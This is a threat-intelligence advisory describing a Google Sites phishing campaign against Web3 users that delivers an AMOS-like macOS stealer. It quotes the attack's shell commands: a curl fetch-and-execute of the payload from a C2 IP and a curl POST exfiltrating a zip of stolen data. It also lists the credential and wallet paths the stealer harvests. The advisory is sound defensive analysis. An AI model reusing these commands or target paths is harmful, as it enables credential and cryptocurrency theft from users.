# Google Sites Phishing Campaign Delivers AMOS-Variant macOS Stealer (unix32385485) to Web3 Users

> A multi-stage social engineering campaign abuses Google Sites to host a fake 'BuilDAO/Builder' community application page targeting Web3 users, then redirects victims to a spoofed OAuth/macOS security-verification page that tricks them into executing a .scpt file or Base64-encoded Terminal command. The dropped payload, unix32385485, is a macOS Universal Mach-O stealer (x86_64/arm64) behaviorally consistent with AMOS (Atomic macOS Stealer) that exfiltrates browser credentials, Keychain data, Apple Notes, Safari cookies, Telegram Desktop session data, and 17+ named cryptocurrency wallet applications to a hardcoded C2 (86.54.25.213).

- **Published:** 2026-07-18T00:00:00Z
- **Last reviewed:** 2026-07-18T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-1495
- **ID:** TL-2026-1495
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 22 (full data via the Threadlinqs MCP server — Purple tier)

## Description

SlowMist identified a targeted phishing campaign against Web3 community members that abuses the inherent trust in Google's `sites.google.com` domain to bypass reputation-based URL filtering. The lure is a fake 'BuilDAO/Builder' community-application form styled to mimic a legitimate Google Forms submission page. After a victim submits the form, the campaign chains them into a spoofed 'OAuth 2.0 security verification' page that displays a fabricated `api_error_401` authentication error, socially engineering the user into believing they must manually 're-verify' their identity by running a script.

The page offers two delivery mechanisms for the same payload: a downloadable Apple `.scpt` (AppleScript) file, or a Base64-encoded one-liner intended to be pasted directly into macOS Terminal (a well-established ClickFix-style delivery pattern increasingly used against macOS users in 2025-2026). Both paths converge on the same shell sequence, which fetches the payload from the C2 host, marks it executable, and detaches it from the parent shell:

```
curl -s http://86.54.25.213/d/unix32385485 > /tmp/unix001
chmod +x /tmp/unix001
/tmp/unix001 > /dev/null 2>&1 & disown
```

The payload `unix32385485` is a macOS Universal Mach-O binary (x86_64 + arm64) that obfuscates 104 string blocks in its `__const` section using XOR plus xorshift32-based keystream generation, hindering static string analysis and naive YARA signature matching. On execution it creates a staging directory at `/tmp/lksopo/` and enumerates system metadata via `sw_vers` and `system_profiler`.

Its collection routine is broad and consistent with the AMOS (Atomic macOS Stealer) family, a macOS-focused Malware-as-a-Service sold on Telegram/underground forums for roughly $3,000/month and responsible for a large share of 2025-2026 macOS stealer detections. The sample harvests: login credentials, cookies, and Local Storage/session data from Chrome, Brave, Microsoft Edge, Vivaldi, Opera, Chromium, Arc, Firefox, and Waterfox; the macOS login Keychain database (`~/Library/Keychains/login.keychain-db`); Safari's binary cookie store (`~/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies`); Apple Notes content via AppleScript/`osascript` against the Notes SQLite store (`~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite`); and Telegram Desktop session artifacts from `Telegram Desktop/tdata/`, including AES encryption `key_datas` and session-mapping files, enabling full chat-history and account takeover.

Cryptocurrency wallet targeting spans at least 17 named desktop wallet applications: Electrum, Electrum-LTC, Coinomi, Exodus, Atomic, Wasabi, Ledger Live, Ledger Wallet, Monero (GUI/CLI wallet files), Bitcoin Core, Litecoin Core, Dash Core, Electron Cash, Guarda, Dogecoin Core, Trezor Suite, and Sparrow -- reflecting AMOS's broader published capability of targeting 150+ browser-extension wallets and 17 desktop wallets. Given the campaign's explicit Web3/BuilDAO lure, browser-extension wallet Local Storage/LevelDB data (e.g. `atomic/Local Storage/leveldb/`) is a primary objective alongside the desktop wallet directories.

After collection, the malware stages stolen data in `/tmp/lksopo/`, compresses it with `ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip` (preserving macOS resource forks/extended attributes for forensic fidelity to the attacker), and exfiltrates the archive via a single HTTP POST to the same C2 host used for payload delivery, tagged with a `buildid` header (a per-build/campaign identifier: `7ca94f9fa3eb4164ba7e5d41623a458a`) and a `username` header (`night`), allowing the operator to attribute the loot to a specific build or affiliate:

```
curl -X POST -H "buildid: 7ca94f9fa3eb4164ba7e5d41623a458a" -H "username: night" --data-binary @/tmp/lksopo.zip http://86.54.25.213/log
```

The malware then self-cleans with `rm -rf /tmp/lksopo && rm -f /tmp/lksopo.zip`, removing the staging directory and archive to frustrate incident-response artifact recovery, though the dropped binary at `/tmp/unix001` and process/network telemetry remain recoverable via EDR.

The campaign is notable for combining a trusted first-stage hosting platform (Google Sites) with a fabricated OAuth error page as a pretext for social-engineering command execution -- a technique that sidesteps Gatekeeper/notarization controls entirely because the user, not the OS, is the one invoking the payload via Terminal or Script Editor. No CVE applies: this is a social-engineering and malware-delivery threat, not a software vulnerability.

## MITRE ATT&CK

- T1589 Gather Victim Identity Information
- T1583 Acquire Infrastructure
- T1587 Develop Capabilities
- T1585 Establish Accounts
- T1566 Phishing
- T1189 Drive-by Compromise
- T1204 User Execution
- T1059 Command and Scripting Interpreter
- T1027 Obfuscated Files or Information
- T1140 Deobfuscate/Decode Files or Information
- T1070 Indicator Removal
- T1036 Masquerading
- T1082 System Information Discovery
- T1083 File and Directory Discovery
- T1555 Credentials from Password Stores
- T1539 Steal Web Session Cookie
- T1552 Unsecured Credentials
- T1005 Data from Local System
- T1560 Archive Collected Data
- T1074 Data Staged
- T1071 Application Layer Protocol
- T1105 Ingress Tool Transfer
- T1041 Exfiltration Over C2 Channel
- T1657 Financial Theft

## Sources

- [Analysis of a Google Sites Community Application Phishing Campaign and macOS Information-Stealing](https://slowmist.medium.com/analysis-of-a-google-sites-community-application-phishing-campaign-and-macos-information-stealing-43ed1b04a1da)
- [ATOMIC Stealer: macOS Credential Theft](https://hunt.io/malware-families/atomic-stealer)
- [New Atomic MacOS Stealer For Sale On Telegram](https://cyble.com/blog/threat-actor-selling-new-atomic-macos-amos-stealer-on-telegram/)
- [Why AMOS matters: The macOS malware stealing data at scale](https://www.sophos.com/en-us/blog/why-amos-matters-the-macos-malware-stealing-data-at-scale)
- [Atomic Stealer: Threat Actor Spawns Second Variant of macOS Malware Sold on Telegram](https://www.sentinelone.com/blog/atomic-stealer-threat-actor-spawns-second-variant-of-macos-malware-sold-on-telegram/)
- [An MDR Analysis of the AMOS Stealer Campaign Targeting macOS via Cracked Apps](https://www.trendmicro.com/en_us/research/25/i/an-mdr-analysis-of-the-amos-stealer-campaign.html)
- [Malicious OpenClaw Skills Used to Distribute Atomic MacOS Stealer](https://www.trendmicro.com/en_us/research/26/b/openclaw-skills-used-to-distribute-atomic-macos-stealer.html)
- [Fake DeepSeek Site Infects Mac Users with Atomic (AMOS) Stealer](https://www.esentire.com/blog/fake-deepseek-site-infects-mac-users-with-atomic-stealer)
- [Atomic Stealer: Darktrace's Investigation of a Growing macOS Threat](https://www.darktrace.com/blog/atomic-stealer-darktraces-investigation-of-a-growing-macos-threat)
- [AMOS-Atomic Stealer (Mac) - Removal steps, and macOS cleanup](https://www.pcrisk.com/removal-guides/26590-atomic-stealer-mac)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-1495